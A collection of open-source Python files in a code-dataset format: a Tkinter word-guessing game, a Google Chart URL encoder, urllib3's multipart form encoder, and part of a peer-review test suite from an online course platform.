# Title: AWG - Akemi's Word Game # Author: Daniel Commins # Date: June 13, 2015 # Files: AWG_App_py2.py; SINGLE.TXT (dictionary words file) # Tested: python 2.61 # Info: Akemi's Word Game: The game where you try and guess the computer's randomly # selected word! Each letter appears only once. import sys import random import tkinter import tkinter.messagebox GAME_VERSION = "1.3" class CurGuess_t : def __init__(self) : self.entry = None self.button = None class PastGuesses_t : def __init__(self) : self.pastGuess = None self.result = None self.guess = None self.matches = None class WordGame_tk( tkinter.Tk ) : entryWidth = 30 # in chars guessStartRow = 8 # using grid() dictWordListEasy = None # only needs to be read once for all instances dictWordListHard = None # only needs to be read once for all instances def __init__( self, parent ): tkinter.Tk.__init__(self, parent) self.parent = parent self.initialize() def initialize(self): self.minLetters = 4 self.maxLetters = 12 self.maxAttempts = 10 self.numLetters = None # number of letters in word once game starts self.numGuesses = None # number of guesses at word once game starts self.curGuessNum = None # tracks users guesses so far self.curGuess = CurGuess_t() # contains widget for the user entry widgets self.guesses = [PastGuesses_t() for i in range( self.maxAttempts )] # one for each guess that can be made self.statusText = tkinter.StringVar() # string message on the status line self.statusLabel = None # status label widget self.randomWord = None # randomly selected word from dictionary self.wordList = list() # stores words from dictionary of the specified length self.pluralCheckVal = tkinter.IntVar() # stores value from user option to include word plurals self.exSpacesCheckVal = tkinter.IntVar()# stores value from user option to include extra spaces in result self.difficultyVal = tkinter.IntVar() # stores the game difficulty level self.checkPlurals = None # stores the plural check option when game starts self.extraSpaces = None # stores the option to add a space every character in result self.difficulty = None # stores the game difficulty level when the game starts # Open and read large words file once if necessary self.ReadWordsFile() # Set grid geometry self.grid() # Plural checkbox; enable by default pluralCheckButton = tkinter.Checkbutton( self, text="omit 's'/'es' plurals", variable=self.pluralCheckVal, onvalue=1, offvalue=0 ) pluralCheckButton.grid( row=0, column=0, sticky='w' ) pluralCheckButton.select() # Extra spaces checkbox; disable by default extraSpacesCheckButton = tkinter.Checkbutton( self, text="extra spaces", variable=self.exSpacesCheckVal, onvalue=1, offvalue=0 ) extraSpacesCheckButton.grid( row=0, column=0, sticky='e' ) extraSpacesCheckButton.deselect() # Info button infoButton = tkinter.Button( self, text="Info", borderwidth=0, justify='center', command=self.OnInfo ) infoButton.grid( row=0, column=1, sticky='n', rowspan=1 ) # Game difficulty level radio buttons radioButton = tkinter.Radiobutton( self, text="Easy", variable=self.difficultyVal, value=0 ) radioButton.grid( row=1, column=0, sticky='w' ) radioButton = tkinter.Radiobutton( self, text="Hard", variable=self.difficultyVal, value=2) radioButton.grid( row=1, column=0, sticky='' ) # Number of letters option lettersText = tkinter.Label( self, anchor='w', text="Number of Letters [%d-%d]" %(self.minLetters, self.maxLetters) ) lettersText.grid( row=2, column=0, sticky='w' ) self.lettersEntry = tkinter.Spinbox( self, from_=self.minLetters, to=self.maxLetters, width=3 ) self.lettersEntry.grid( row=2, column=1, sticky='w' ) self.lettersEntry.delete( 0, 3 ) self.lettersEntry.insert( 0, '5' ) # Number of guesses option numGuessesText = tkinter.Label( self, anchor="w", text="Number of Guesses [1-%d]" %(self.maxAttempts) ) numGuessesText.grid( row=3, column=0, sticky='w' ) self.guessesEntry = tkinter.Spinbox( self, from_="1", to=self.maxAttempts, width=3 ) self.guessesEntry.grid( row=3, column=1, sticky='w' ) self.guessesEntry.delete( 0, 3 ) self.guessesEntry.insert( 0, '5' ) # Statement of rules legendText1 = tkinter.Label( self, anchor='center', text="*Each letter is used only once*", borderwidth=0, bg='yellow', padx=4, width=WordGame_tk.entryWidth ) legendText2 = tkinter.Label( self, anchor='w', text="O = right letter, wrong location", borderwidth=0, bg='cyan', padx=4, width=WordGame_tk.entryWidth ) legendText3 = tkinter.Label( self, anchor='w', text="\u25b2 = right letter, right location", borderwidth=0, bg='green', padx=4, width=WordGame_tk.entryWidth ) legendText4 = tkinter.Label( self, anchor='w', text="_ = letter not in word", borderwidth=0, bg='red', padx=4, width=WordGame_tk.entryWidth ) legendText1.grid( row=4, column=0, sticky='w' ) legendText2.grid( row=5, column=0, sticky='w' ) legendText3.grid( row=6, column=0, sticky='w' ) legendText4.grid( row=7, column=0, sticky='w' ) # Quit button quitButton = tkinter.Button( self, text="Exit", borderwidth=0, justify='center', width=len('Start'), command=self.OnExit ) quitButton.grid( row=5, column=1, sticky='n', rowspan=2 ) # Game start button startButton = tkinter.Button( self, text="Start", borderwidth=0, justify='center', width=len('Start'), command=self.OnStart ) startButton.grid( row=6, column=1, sticky='s', rowspan=2 ) def OnInfo(self) : infoString = "==Akemi's Word Game v" + GAME_VERSION + "==" infoString = infoString + "\n\nThe game where you try and guess" infoString = infoString + "\nthe randomly generated word!" infoString = infoString + "\n\nGame originally hosted on Github:" infoString = infoString + "\nhttps://github.com/dencee/AWG" infoString = infoString + "\n\nHave Fun!!!" tkinter.messagebox.showinfo( "AWG Info", infoString ) def OnExit(self) : self.destroy() # So dramatic! def OnStart(self) : # Get plural option only once when the game starts so the value can't be adjusted mid-game self.checkPlurals = self.pluralCheckVal.get() # Get extra spaces option self.extraSpaces = self.exSpacesCheckVal.get() # Get the game difficulty self.difficulty = self.difficultyVal.get() # Get number of guesses and letters here only ONCE when the game starts try : self.numLetters = int( self.lettersEntry.get() ) except : self.numLetters = None try : self.numGuesses = int( self.guessesEntry.get() ) except : self.numGuesses = None # Check for valid input parameters and get random word if ( self.numGuesses == None or self.numGuesses > self.maxAttempts or self.numGuesses <= 0 or self.numLetters == None or self.numLetters > self.maxLetters or self.numLetters < self.minLetters ) : statusText = "Invalid input parameters!" self.numLetters = None self.numGuesses = None else : statusText = "Guess the '%d' letter word!" %(self.numLetters) if ( self.difficulty == 0 ) : self.randomWord = self.GetRandomWord( WordGame_tk.dictWordListEasy, self.numLetters ) else : self.randomWord = self.GetRandomWord( WordGame_tk.dictWordListHard, self.numLetters ) # Reset the number of guesses that've been made self.curGuessNum = 0 startRow = WordGame_tk.guessStartRow # Print status label if necessary if self.statusLabel == None : self.statusLabel = tkinter.Label( self, textvariable=self.statusText, borderwidth=0, width=WordGame_tk.entryWidth ) self.statusLabel.grid( row=startRow, column=0 ) else : self.statusLabel.grid() self.statusText.set( statusText ) startRow = ( startRow + 1 ) # Print user guess entry field if necessary if self.numLetters != None : if self.curGuess.entry == None : self.curGuess.entry = tkinter.Entry( self, borderwidth=0, width=WordGame_tk.entryWidth, bg='gray80', state='normal' ) self.curGuess.entry.insert( 0, "<Enter Guess>" ) self.curGuess.entry.grid( row=startRow, column=0 ) else : self.curGuess.entry.grid() self.curGuess.entry.delete( 0, 'end' ) # Print the user guess button if necessary if self.numLetters != None : if self.curGuess.button == None : self.curGuess.button = tkinter.Button( self, text="Guess", borderwidth=0, justify='center', width=len('Start'), command=self.OnGuess ) self.curGuess.button.grid( row=startRow-1, column=1, sticky='s', rowspan=2 ) # -1 because rowspan=2 else : self.curGuess.button.grid() startRow = ( startRow + 1 ) # First time 'Start' is pressed, create all the guess entries and leave them blank # TODO: Possibly reverse the if and for statements if self.guesses[0].pastGuess == None : for eachGuess in range( self.maxAttempts ) : self.guesses[eachGuess].guess = tkinter.StringVar() self.guesses[eachGuess].matches = tkinter.StringVar() self.guesses[eachGuess].guess.set( "" ) self.guesses[eachGuess].matches.set( "" ) self.guesses[eachGuess].pastGuess = tkinter.Label( self, textvariable=self.guesses[eachGuess].guess, borderwidth=0, anchor='w', width=WordGame_tk.entryWidth ) self.guesses[eachGuess].result = tkinter.Label( self, textvariable=self.guesses[eachGuess].matches, borderwidth=0, anchor='w', width=WordGame_tk.entryWidth ) self.guesses[eachGuess].pastGuess.grid( row=startRow, column=0 ) self.guesses[eachGuess].result.grid( row=(startRow+1), column=0 ) startRow = ( startRow + 2 ) # Show and hide the guess entries based on how many guesses the user selected for eachGuess in range( self.maxAttempts ) : # Clear all previous guess and result data output self.guesses[eachGuess].guess.set( "" ) self.guesses[eachGuess].matches.set( "" ) if eachGuess < self.numGuesses : # Show the guess entry self.guesses[eachGuess].pastGuess.grid() self.guesses[eachGuess].result.grid() else : # Hide the guess entry self.guesses[eachGuess].pastGuess.grid_remove() self.guesses[eachGuess].result.grid_remove() def OnGuess(self) : # Check users guess string userGuess = self.curGuess.entry.get().lower() # Check for valid word length if len(userGuess) != self.numLetters : self.statusText.set( "Error: Please input '%d' letters" %(self.numLetters) ) else : # Note - want to allow repeating letters because user may be trying to guess # the location of one of the letters invalidLetter = False for letter in userGuess : if ( ( letter < 'a' ) or ( letter > 'z' ) ) : invalidLetter = True break # Check valid symbols if invalidLetter == True : self.statusText.set( "Error: Invalid symbols in word" ) else : # Valid entry! Check letter matches with the random word resultList = list() wrongLetters = 0 # Loop letters in guess word, checking letter in word, then correct position for index, letter in enumerate( userGuess ) : if letter in self.randomWord : if ( userGuess[index] == self.randomWord[index] ) : resultList.append("\u25b2") # unicode char for triangle else : resultList.append("O") wrongLetters = wrongLetters + 1 else : resultList.append("_") wrongLetters = wrongLetters + 1 if self.extraSpaces != 0 : # Skip space every character for readability if len( resultList ) != 0 : resultList.append(" ") if wrongLetters == 0 : # Correct guess! self.OnMatch() else : # Incorrect guess! Print the resulting letter matches. # String join method to convert list of chars to string guessNumStr = "%2d: " %(self.curGuessNum+1) # "00: " self.guesses[self.curGuessNum].matches.set( " "+"".join(resultList) ) self.guesses[self.curGuessNum].guess.set( guessNumStr+userGuess ) self.curGuessNum = ( self.curGuessNum + 1 ) if self.curGuessNum < int( self.numGuesses ) : # Still more chances to guess... self.statusText.set( "<Guess %d/%d>" %((self.curGuessNum+1), self.numGuesses ) ) self.curGuess.entry.delete( 0, 'end' ) else : # No more chances, game over :( self.statusText.set( "Random word was: "+self.randomWord ) self.curGuess.button.grid_remove() def GetRandomWord( self, listOfWords, numLetters ) : randomWord = None # TODO: optimize so that the list doesn't have to be re-created # if the same number of letters are chosen del self.wordList[:] # Loop through all words in the dictionary file (SINGLE.TXT) to extract the ones # matching the game criteria for index, word in enumerate( listOfWords ) : if ( len(word) == numLetters ) : lettersInWord = dict() # Loop through all the letters and, # 1) check it's a valid lowercase letter # 2) count the occurrence of each letter--it's illegal to have a # letter occur more than once in a word for letter in word : if ( ( letter < 'a' ) or ( letter > 'z' ) ) : # Word can only contain lower-case letters: no pronouns, # apostrophes, accents, etc. stop checking other letters if found break # TODO: Don't really need to keep track of the number of occurrences # since I'm just looking at dictionary length size. lettersInWord[letter] = lettersInWord.get( letter, 0 ) + 1 # Check only 1 instance of each letter: # If each letter occurred only once, then the dictionary size will be # equal to the length of the word string that was read if len(lettersInWord) == len(word) : # 0 = box not checked (include plurals); 1 = box checked (omit plurals) if self.checkPlurals != 0 : # Want to determine if this word is a plural so look back in the sorted # dictionary list and grab some of the words before it. If there's # the same word without an 's' or 'es' at the end, this word's a plural if index > 10 : startIndex = ( index - 10 ) else : startIndex = 0 pastWords = tuple( listOfWords[ startIndex : index ] ) # Check for plural words ending in 's': # if word ends in an 's' and there's the same word without an 's' at the # end then consider this word a plural. No 100% accurate, but given the # size of the word list file it's acceptable. if ( word[len(word)-1] == 's' ) and ( word[ : (len(word)-1) ] in pastWords ) : continue # continue, not break--still searching for other words # Check for plural words ending in 'es': # Same for plurals ending in 's' if ( word[ (len(word)-2) : ] == 'es' ) and ( word[ : (len(word)-2) ] in pastWords ) : continue # continue, not break--still searching for other words # Valid word found...Finally! self.wordList.append(word) # Make sure the list is populated with words if ( len(self.wordList) != 0 ) : randomIndex = random.randint( 0, ( len( self.wordList ) - 1 ) ) randomWord = self.wordList[ randomIndex ] return ( randomWord ) def OnMatch(self) : self.statusText.set( "Correct guess, YOU WIN!!!" ) self.curGuess.button.grid_remove() def ReadWordsFile(self) : # Only need to be read once if ( WordGame_tk.dictWordListEasy == None ) : fileHandle = None wordFile = "EASY.TXT" # 'with' statement will automatically close the file afterwards with open(wordFile) as fileHandle : # Populate list with all words read from file WordGame_tk.dictWordListEasy = fileHandle.read().splitlines() # Sort the list so it'll be easier to find plurals WordGame_tk.dictWordListEasy.sort() # Only need to be read once if ( WordGame_tk.dictWordListHard == None ) : fileHandle = None wordFile = "HARD.TXT" # 'with' statement will automatically close the file afterwards with open(wordFile) as fileHandle : # Populate list with all words read from file WordGame_tk.dictWordListHard = fileHandle.read().splitlines() # Sort the list so it'll be easier to find plurals WordGame_tk.dictWordListHard.sort() if __name__ == '__main__': game = WordGame_tk(None) game.title("Akemi's Word Game") game.mainloop()
mit
jevgen/namebench
nb_third_party/graphy/backends/google_chart_api/encoders.py
230
14800
#!/usr/bin/python2.4 # # Copyright 2008 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Display objects for the different kinds of charts. Not intended for end users, use the methods in __init__ instead.""" import warnings from graphy.backends.google_chart_api import util class BaseChartEncoder(object): """Base class for encoders which turn chart objects into Google Chart URLS. Object attributes: extra_params: Dict to add/override specific chart params. Of the form param:string, passed directly to the Google Chart API. For example, 'cht':'lti' becomes ?cht=lti in the URL. url_base: The prefix to use for URLs. If you want to point to a different server for some reason, you would override this. formatters: TODO: Need to explain how these work, and how they are different from chart formatters. enhanced_encoding: If True, uses enhanced encoding. If False, simple encoding is used. escape_url: If True, URL will be properly escaped. If False, characters like | and , will be unescapped (which makes the URL easier to read). """ def __init__(self, chart): self.extra_params = {} # You can add specific params here. self.url_base = 'http://chart.apis.google.com/chart' self.formatters = self._GetFormatters() self.chart = chart self.enhanced_encoding = False self.escape_url = True # You can turn off URL escaping for debugging. self._width = 0 # These are set when someone calls Url() self._height = 0 def Url(self, width, height, use_html_entities=False): """Get the URL for our graph. Args: use_html_entities: If True, reserved HTML characters (&, <, >, ") in the URL are replaced with HTML entities (&amp;, &lt;, etc.). Default is False. """ self._width = width self._height = height params = self._Params(self.chart) return util.EncodeUrl(self.url_base, params, self.escape_url, use_html_entities) def Img(self, width, height): """Get an image tag for our graph.""" url = self.Url(width, height, use_html_entities=True) tag = '<img src="%s" width="%s" height="%s" alt="chart"/>' return tag % (url, width, height) def _GetType(self, chart): """Return the correct chart_type param for the chart.""" raise NotImplementedError def _GetFormatters(self): """Get a list of formatter functions to use for encoding.""" formatters = [self._GetLegendParams, self._GetDataSeriesParams, self._GetColors, self._GetAxisParams, self._GetGridParams, self._GetType, self._GetExtraParams, self._GetSizeParams, ] return formatters def _Params(self, chart): """Collect all the different params we need for the URL. Collecting all params as a dict before converting to a URL makes testing easier. """ chart = chart.GetFormattedChart() params = {} def Add(new_params): params.update(util.ShortenParameterNames(new_params)) for formatter in self.formatters: Add(formatter(chart)) for key in params: params[key] = str(params[key]) return params def _GetSizeParams(self, chart): """Get the size param.""" return {'size': '%sx%s' % (int(self._width), int(self._height))} def _GetExtraParams(self, chart): """Get any extra params (from extra_params).""" return self.extra_params def _GetDataSeriesParams(self, chart): """Collect params related to the data series.""" y_min, y_max = chart.GetDependentAxis().min, chart.GetDependentAxis().max series_data = [] markers = [] for i, series in enumerate(chart.data): data = series.data if not data: # Drop empty series. continue series_data.append(data) for x, marker in series.markers: args = [marker.shape, marker.color, i, x, marker.size] markers.append(','.join(str(arg) for arg in args)) encoder = self._GetDataEncoder(chart) result = util.EncodeData(chart, series_data, y_min, y_max, encoder) result.update(util.JoinLists(marker = markers)) return result def _GetColors(self, chart): """Color series color parameter.""" colors = [] for series in chart.data: if not series.data: continue colors.append(series.style.color) return util.JoinLists(color = colors) def _GetDataEncoder(self, chart): """Get a class which can encode the data the way the user requested.""" if not self.enhanced_encoding: return util.SimpleDataEncoder() return util.EnhancedDataEncoder() def _GetLegendParams(self, chart): """Get params for showing a legend.""" if chart._show_legend: return util.JoinLists(data_series_label = chart._legend_labels) return {} def _GetAxisLabelsAndPositions(self, axis, chart): """Return axis.labels & axis.label_positions.""" return axis.labels, axis.label_positions def _GetAxisParams(self, chart): """Collect params related to our various axes (x, y, right-hand).""" axis_types = [] axis_ranges = [] axis_labels = [] axis_label_positions = [] axis_label_gridlines = [] mark_length = max(self._width, self._height) for i, axis_pair in enumerate(a for a in chart._GetAxes() if a[1].labels): axis_type_code, axis = axis_pair axis_types.append(axis_type_code) if axis.min is not None or axis.max is not None: assert axis.min is not None # Sanity check: both min & max must be set. assert axis.max is not None axis_ranges.append('%s,%s,%s' % (i, axis.min, axis.max)) labels, positions = self._GetAxisLabelsAndPositions(axis, chart) if labels: axis_labels.append('%s:' % i) axis_labels.extend(labels) if positions: positions = [i] + list(positions) axis_label_positions.append(','.join(str(x) for x in positions)) if axis.label_gridlines: axis_label_gridlines.append("%d,%d" % (i, -mark_length)) return util.JoinLists(axis_type = axis_types, axis_range = axis_ranges, axis_label = axis_labels, axis_position = axis_label_positions, axis_tick_marks = axis_label_gridlines, ) def _GetGridParams(self, chart): """Collect params related to grid lines.""" x = 0 y = 0 if chart.bottom.grid_spacing: # min/max must be set for this to make sense. assert(chart.bottom.min is not None) assert(chart.bottom.max is not None) total = float(chart.bottom.max - chart.bottom.min) x = 100 * chart.bottom.grid_spacing / total if chart.left.grid_spacing: # min/max must be set for this to make sense. assert(chart.left.min is not None) assert(chart.left.max is not None) total = float(chart.left.max - chart.left.min) y = 100 * chart.left.grid_spacing / total if x or y: return dict(grid = '%.3g,%.3g,1,0' % (x, y)) return {} class LineChartEncoder(BaseChartEncoder): """Helper class to encode LineChart objects into Google Chart URLs.""" def _GetType(self, chart): return {'chart_type': 'lc'} def _GetLineStyles(self, chart): """Get LineStyle parameters.""" styles = [] for series in chart.data: style = series.style if style: styles.append('%s,%s,%s' % (style.width, style.on, style.off)) else: # If one style is missing, they must all be missing # TODO: Add a test for this; throw a more meaningful exception assert (not styles) return util.JoinLists(line_style = styles) def _GetFormatters(self): out = super(LineChartEncoder, self)._GetFormatters() out.insert(-2, self._GetLineStyles) return out class SparklineEncoder(LineChartEncoder): """Helper class to encode Sparkline objects into Google Chart URLs.""" def _GetType(self, chart): return {'chart_type': 'lfi'} class BarChartEncoder(BaseChartEncoder): """Helper class to encode BarChart objects into Google Chart URLs.""" __STYLE_DEPRECATION = ('BarChart.display.style is deprecated.' + ' Use BarChart.style, instead.') def __init__(self, chart, style=None): """Construct a new BarChartEncoder. Args: style: DEPRECATED. Set style on the chart object itself. """ super(BarChartEncoder, self).__init__(chart) if style is not None: warnings.warn(self.__STYLE_DEPRECATION, DeprecationWarning, stacklevel=2) chart.style = style def _GetType(self, chart): # Vertical Stacked Type types = {(True, False): 'bvg', (True, True): 'bvs', (False, False): 'bhg', (False, True): 'bhs'} return {'chart_type': types[(chart.vertical, chart.stacked)]} def _GetAxisLabelsAndPositions(self, axis, chart): """Reverse labels on the y-axis in horizontal bar charts. (Otherwise the labels come out backwards from what you would expect) """ if not chart.vertical and axis == chart.left: # The left axis of horizontal bar charts needs to have reversed labels return reversed(axis.labels), reversed(axis.label_positions) return axis.labels, axis.label_positions def _GetFormatters(self): out = super(BarChartEncoder, self)._GetFormatters() # insert at -2 to allow extra_params to overwrite everything out.insert(-2, self._ZeroPoint) out.insert(-2, self._ApplyBarChartStyle) return out def _ZeroPoint(self, chart): """Get the zero-point if any bars are negative.""" # (Maybe) set the zero point. min, max = chart.GetDependentAxis().min, chart.GetDependentAxis().max out = {} if min < 0: if max < 0: out['chp'] = 1 else: out['chp'] = -min/float(max - min) return out def _ApplyBarChartStyle(self, chart): """If bar style is specified, fill in the missing data and apply it.""" # sanity checks if chart.style is None or not chart.data: return {} (bar_thickness, bar_gap, group_gap) = (chart.style.bar_thickness, chart.style.bar_gap, chart.style.group_gap) # Auto-size bar/group gaps if bar_gap is None and group_gap is not None: bar_gap = max(0, group_gap / 2) if not chart.style.use_fractional_gap_spacing: bar_gap = int(bar_gap) if group_gap is None and bar_gap is not None: group_gap = max(0, bar_gap * 2) # Set bar thickness to auto if it is missing if bar_thickness is None: if chart.style.use_fractional_gap_spacing: bar_thickness = 'r' else: bar_thickness = 'a' else: # Convert gap sizes to pixels if needed if chart.style.use_fractional_gap_spacing: if bar_gap: bar_gap = int(bar_thickness * bar_gap) if group_gap: group_gap = int(bar_thickness * group_gap) # Build a valid spec; ignore group gap if chart is stacked, # since there are no groups in that case spec = [bar_thickness] if bar_gap is not None: spec.append(bar_gap) if group_gap is not None and not chart.stacked: spec.append(group_gap) return util.JoinLists(bar_size = spec) def __GetStyle(self): warnings.warn(self.__STYLE_DEPRECATION, DeprecationWarning, stacklevel=2) return self.chart.style def __SetStyle(self, value): warnings.warn(self.__STYLE_DEPRECATION, DeprecationWarning, stacklevel=2) self.chart.style = value style = property(__GetStyle, __SetStyle, __STYLE_DEPRECATION) class PieChartEncoder(BaseChartEncoder): """Helper class for encoding PieChart objects into Google Chart URLs. Fuzzy frogs frolic in the forest. Object Attributes: is3d: if True, draw a 3d pie chart. Default is False. """ def __init__(self, chart, is3d=False, angle=None): """Construct a new PieChartEncoder. Args: is3d: If True, draw a 3d pie chart. Default is False. If the pie chart includes multiple pies, is3d must be set to False. angle: Angle of rotation of the pie chart, in radians. """ super(PieChartEncoder, self).__init__(chart) self.is3d = is3d self.angle = None def _GetFormatters(self): """Add a formatter for the chart angle.""" formatters = super(PieChartEncoder, self)._GetFormatters() formatters.append(self._GetAngleParams) return formatters def _GetType(self, chart): if len(chart.data) > 1: if self.is3d: warnings.warn( '3d charts with more than one pie not supported; rendering in 2d', RuntimeWarning, stacklevel=2) chart_type = 'pc' else: if self.is3d: chart_type = 'p3' else: chart_type = 'p' return {'chart_type': chart_type} def _GetDataSeriesParams(self, chart): """Collect params related to the data series.""" pie_points = [] labels = [] max_val = 1 for pie in chart.data: points = [] for segment in pie: if segment: points.append(segment.size) max_val = max(max_val, segment.size) labels.append(segment.label or '') if points: pie_points.append(points) encoder = self._GetDataEncoder(chart) result = util.EncodeData(chart, pie_points, 0, max_val, encoder) result.update(util.JoinLists(label=labels)) return result def _GetColors(self, chart): if chart._colors: # Colors were overridden by the user colors = chart._colors else: # Build the list of colors from individual segments colors = [] for pie in chart.data: for segment in pie: if segment and segment.color: colors.append(segment.color) return util.JoinLists(color = colors) def _GetAngleParams(self, chart): """If the user specified an angle, add it to the params.""" if self.angle: return {'chp' : str(self.angle)} return {}
apache-2.0
vatsalgit/Deep-Learning-
assignment1/data/deep/lib/python3.4/site-packages/pip/_vendor/requests/packages/urllib3/filepost.py
713
2320
from __future__ import absolute_import import codecs from uuid import uuid4 from io import BytesIO from .packages import six from .packages.six import b from .fields import RequestField writer = codecs.lookup('utf-8')[3] def choose_boundary(): """ Our embarassingly-simple replacement for mimetools.choose_boundary. """ return uuid4().hex def iter_field_objects(fields): """ Iterate over fields. Supports list of (k, v) tuples and dicts, and lists of :class:`~urllib3.fields.RequestField`. """ if isinstance(fields, dict): i = six.iteritems(fields) else: i = iter(fields) for field in i: if isinstance(field, RequestField): yield field else: yield RequestField.from_tuples(*field) def iter_fields(fields): """ .. deprecated:: 1.6 Iterate over fields. The addition of :class:`~urllib3.fields.RequestField` makes this function obsolete. Instead, use :func:`iter_field_objects`, which returns :class:`~urllib3.fields.RequestField` objects. Supports list of (k, v) tuples and dicts. """ if isinstance(fields, dict): return ((k, v) for k, v in six.iteritems(fields)) return ((k, v) for k, v in fields) def encode_multipart_formdata(fields, boundary=None): """ Encode a dictionary of ``fields`` using the multipart/form-data MIME format. :param fields: Dictionary of fields or list of (key, :class:`~urllib3.fields.RequestField`). :param boundary: If not specified, then a random boundary will be generated using :func:`mimetools.choose_boundary`. """ body = BytesIO() if boundary is None: boundary = choose_boundary() for field in iter_field_objects(fields): body.write(b('--%s\r\n' % (boundary))) writer(body).write(field.render_headers()) data = field.data if isinstance(data, int): data = str(data) # Backwards compatibility if isinstance(data, six.text_type): writer(body).write(data) else: body.write(data) body.write(b'\r\n') body.write(b('--%s--\r\n' % (boundary))) content_type = str('multipart/form-data; boundary=%s' % boundary) return body.getvalue(), content_type
gpl-3.0
Dreizan/csci1200OnlineCourse
tests/functional/controllers_review.py
5
29623
# coding: utf-8 # Copyright 2013 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for controllers pertaining to peer review assessments.""" __author__ = 'Sean Lip' import actions from actions import assert_contains from actions import assert_does_not_contain from actions import assert_equals from controllers import sites from controllers import utils from models import config from models import courses from models import transforms # The unit id for the peer review assignment in the default course. LEGACY_REVIEW_UNIT_ID = 'ReviewAssessmentExample' def get_review_step_key(response): """Returns the review step key in a request query parameter.""" request_query_string = response.request.environ['QUERY_STRING'] return request_query_string[request_query_string.find('key=') + 4:] def get_review_payload(identifier, is_draft=False): """Returns a sample review payload.""" review = transforms.dumps([ {'index': 0, 'type': 'choices', 'value': '0', 'correct': False}, {'index': 1, 'type': 'regex', 'value': identifier, 'correct': True} ]) return { 'answers': review, 'is_draft': 'true' if is_draft else 'false', } class PeerReviewControllerTest(actions.TestBase): """Test peer review from the Student perspective.""" def test_submit_assignment(self): """Test submission of peer-reviewed assignments.""" # Override course.yaml settings by patching app_context. get_environ_old = sites.ApplicationContext.get_environ def get_environ_new(self): environ = get_environ_old(self) environ['course']['browsable'] = False return environ sites.ApplicationContext.get_environ = get_environ_new email = '[email protected]' name = 'Test Peer Reviewed Assignment Submission' submission = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'First answer to Q1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'First answer to Q3', 'correct': True}, ]) second_submission = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'Second answer to Q1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'Second answer to Q3', 'correct': True}, ]) # Check that the sample peer-review assignment shows up in the preview # page. response = actions.view_preview(self) assert_contains('Sample peer review assignment', response.body) assert_does_not_contain('Review peer assignments', response.body) actions.login(email) actions.register(self, name) # Check that the sample peer-review assignment shows up in the course # page and that it can be visited. response = actions.view_course(self) assert_contains('Sample peer review assignment', response.body) assert_contains('Review peer assignments', response.body) assert_contains( '<a href="assessment?name=%s">' % LEGACY_REVIEW_UNIT_ID, response.body) assert_contains('<span> Review peer assignments </span>', response.body, collapse_whitespace=True) assert_does_not_contain('<a href="reviewdashboard', response.body, collapse_whitespace=True) # Check that the progress circle for this assignment is unfilled. assert_contains( 'progress-notstarted-%s' % LEGACY_REVIEW_UNIT_ID, response.body) assert_does_not_contain( 'progress-completed-%s' % LEGACY_REVIEW_UNIT_ID, response.body) # Try to access an invalid assignment. response = self.get( 'assessment?name=FakeAssessment', expect_errors=True) assert_equals(response.status_int, 404) # The student should not be able to see others' reviews because he/she # has not submitted an assignment yet. response = self.get('assessment?name=%s' % LEGACY_REVIEW_UNIT_ID) assert_does_not_contain('Submitted assignment', response.body) assert_contains('Due date for this assignment', response.body) assert_does_not_contain('Reviews received', response.body) # The student should not be able to access the review dashboard because # he/she has not submitted the assignment yet. response = self.get( 'reviewdashboard?unit=%s' % LEGACY_REVIEW_UNIT_ID, expect_errors=True) assert_contains('You must submit the assignment for', response.body) # The student submits the assignment. response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, {'answers': submission, 'assessment_type': LEGACY_REVIEW_UNIT_ID} ) assert_contains( 'Thank you for completing this assignment', response.body) assert_contains('Review peer assignments', response.body) # The student views the submitted assignment, which has become readonly. response = self.get('assessment?name=%s' % LEGACY_REVIEW_UNIT_ID) assert_contains('First answer to Q1', response.body) assert_contains('Submitted assignment', response.body) # The student tries to re-submit the same assignment. This should fail. response = actions.submit_assessment( self, LEGACY_REVIEW_UNIT_ID, {'answers': second_submission, 'assessment_type': LEGACY_REVIEW_UNIT_ID}, presubmit_checks=False ) assert_contains( 'You have already submitted this assignment.', response.body) assert_contains('Review peer assignments', response.body) # The student views the submitted assignment. The new answers have not # been saved. response = self.get('assessment?name=%s' % LEGACY_REVIEW_UNIT_ID) assert_contains('First answer to Q1', response.body) assert_does_not_contain('Second answer to Q1', response.body) # The student checks the course page and sees that the progress # circle for this assignment has been filled, and that the 'Review # peer assignments' link is now available. response = actions.view_course(self) assert_contains( 'progress-completed-%s' % LEGACY_REVIEW_UNIT_ID, response.body) assert_does_not_contain( '<span> Review peer assignments </span>', response.body, collapse_whitespace=True) assert_contains( '<a href="reviewdashboard?unit=%s">' % LEGACY_REVIEW_UNIT_ID, response.body, collapse_whitespace=True) # The student should also be able to now view the review dashboard. response = self.get('reviewdashboard?unit=%s' % LEGACY_REVIEW_UNIT_ID) assert_contains('Assignments for your review', response.body) assert_contains('Review a new assignment', response.body) actions.logout() # Clean up app_context. sites.ApplicationContext.get_environ = get_environ_old def test_handling_of_fake_review_step_key(self): """Test that bad keys result in the appropriate responses.""" email = '[email protected]' name = 'Student 1' submission = transforms.dumps([ {'index': 0, 'type': 'regex', 'value': 'S1-1', 'correct': True}, {'index': 1, 'type': 'choices', 'value': 3, 'correct': False}, {'index': 2, 'type': 'regex', 'value': 'is-S1', 'correct': True}, ]) payload = { 'answers': submission, 'assessment_type': LEGACY_REVIEW_UNIT_ID} actions.login(email) actions.register(self, name) actions.submit_assessment(self, LEGACY_REVIEW_UNIT_ID, payload) actions.view_review( self, LEGACY_REVIEW_UNIT_ID, 'Fake key', expected_status_code=404) actions.logout() def 